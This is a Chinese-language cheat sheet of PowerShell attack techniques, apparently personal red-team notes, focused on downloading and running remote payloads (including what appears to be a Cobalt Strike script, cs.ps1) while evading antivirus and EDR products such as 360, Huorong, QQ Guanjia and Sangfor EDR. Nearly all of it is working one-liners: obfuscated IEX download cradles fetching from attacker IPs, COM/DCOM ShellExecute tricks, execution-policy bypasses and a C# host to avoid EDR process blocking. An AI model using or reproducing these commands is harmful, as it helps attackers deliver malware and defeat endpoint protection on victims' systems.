powershell写的比较好的文章
https://xz.aliyun.com/t/10382
powershell基础参数说明
https://blog.csdn.net/WPwalter/article/details/94128752
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题
ExecutionPolicy -exec:修改执行策略
哪些方法可以绕过PowerShell Execution Policy
https://www.cnblogs.com/linuxsec/articles/7467122.html
参考
https://www.cnblogs.com/LyShark/p/11331476.html
http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_3320.html
母本
powershell.exe -nop -w hidden -exec bypass -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.100:8000/Desktop/cs.ps1'))"
bypass思路
cmd /c echo I^E^X ((new-object net.webclient).d^o^w^n^l^o^a^d^s^t^r^i^n^g('http://127.0.0.1/a')) | p^o^w^e^r^s^h^e^l^l -|w^h^o^a^m^i
1、可过火绒1(不能过360和QQ)
powershell -nop -exec bypass set-alias -name payload -value Invoke-Expression;payload(New-Object Net.WebClient).DownloadString('http://192.168.1.100:8000/Desktop/cs.ps1')
不过对于sqlserver时提示xpcmdshell_exec太长了,运行不了
2、可过火绒、360+QQ
因为echo “%psmodulepath%”的值为
C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
所以能通过psmodulepath:~24,11来代替powershell
echo set-alias -name hhh -value IEX;hhh(New-Object "NeT.WebC`li`ent")."Down`l`oadStr`ing"('ht'+'tP://192.'+'168.1.100'+':8000/Desktop/cs.ps1') | %psmodulepath:~24,10% -
3、可过火绒+QQ(不能过360)
Powershell下载到本地再执行(文件落地)
powershell -Command "& {$clnt = new-object net.webclient;$url= 'http://192.168.163.1:8000/cs.ps1'; $file ='C:\Users\Public\Music\cs.ps1' ;$clnt.DownloadFile($url,$file);}"&&powershell -ep bypass -f C:\Users\Public\Music\cs.ps1
4、通过COM接口执行powershell(可过火绒+QQ(不能过360)
我们也可以尝试使用这种方式绕过对cmd命令的监控
echo [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39')).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\system32",$null,0) |powershell -
echo [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880')).Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\sys132",$null,0) |powershell -
echo [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','127.0.0.1')).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe",'Mimimized') |powershell -
经过测试,即使混淆了非常多,使用括号引号+等符号进行拼接,亲妈都认不出来的那种,360还是会拦截
bypass
set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('ht'+'tP://192'+'.168.158.132:8888'+'/poershell_bypass.txt') | %aa%%bb% -"
5、bypass EDR
深信服EDR直接拦截Powershell进程启动,即使在桌面下正常运行powershell依旧会拦截(比较影响用户体验),常规bypass测试在这种情况下就完全失效了。
转换思路:Powershell是.Net编写的程序,于是考虑使用c#直接调用Powershell对象进行命令执行。
使用右图所示的简单代码,将其保存为ps.cs,使用如下命令进行编译:
https://docs.microsoft.com/zh-cn/powershell/scripting/developer/hosting/adding-and-invoking-commands?view=powershell-7.1
“C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe” /out:test.exe /r:C:\Windows\Microsoft .NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll ps.cs编译生成的exe文件即可绕过EDR执行Powershell命令。
6、好像都可以过
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object “NeT.WeB
ClienT”).d^o^w^n^l^o^a^d^s^t^r^i^n^g(‘ht’+’tP://19’+’2.200.222.13’+’5:1111/1.txt’) | p^o^w^e^r^s^h^e^l^l -
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object “NeT.WeB
ClienT”).DownloadFile(‘ht’+’tP://xxx:1314/edu.exe’) | p^o^w^e^r^s^h^e^l^l -
7、调用系统环境遍历来调用IEX
Invoke-PowerShellIexBuilder.ps1
Invoke_powershellIexBuilder2.0.rar
powershell -exec bypass -f Invoke-PowerShellIexBuilder.ps1 >1.txt
效果:
这些变量最后都是IEX这个字符
几个Tips
1、当文件落地时可Powershell直接执行脚本(杀软不会拦截)
powershell -nop -ep bypass -f cs.ps1
2、当powershell命令被360自动设置为禁用(QQ同理)
我们只需自己上传一个Powershell重命名为其他即可绕过这个程序锁定功能
但是仅仅绕过的是程序锁定功能,powershell命令拦截还是存在的
3、傻逼QQ管家
QQ管家这个玩意很傻逼,你电脑启动管家的时候,他有时候会默认把你Powershell的程序给锁定了,你所有的Powershell都用不了。
但是你退出QQ管家,然后再重新打开,这个之后有时候对于所有的powershell他压根就不拦截,什么命令都能用
4、-w hidden
执行powershell的时候,只要添加-w hidden 360和火绒就会拦截
Powershell -nop -Exec Bypass -File .\cs.ps1
不论命令是否有危害(如打印hellowd) 只要添加-w hidden他就拦截
而且你不能多次被拦截的使用powershell,否则powershell会被自动拉入黑名单
5、360真的猛
经过测试ladon里带有的powershell混淆的方式全部都过不了360,因此基本上可以杜绝使用各种基本参数混淆绕过360了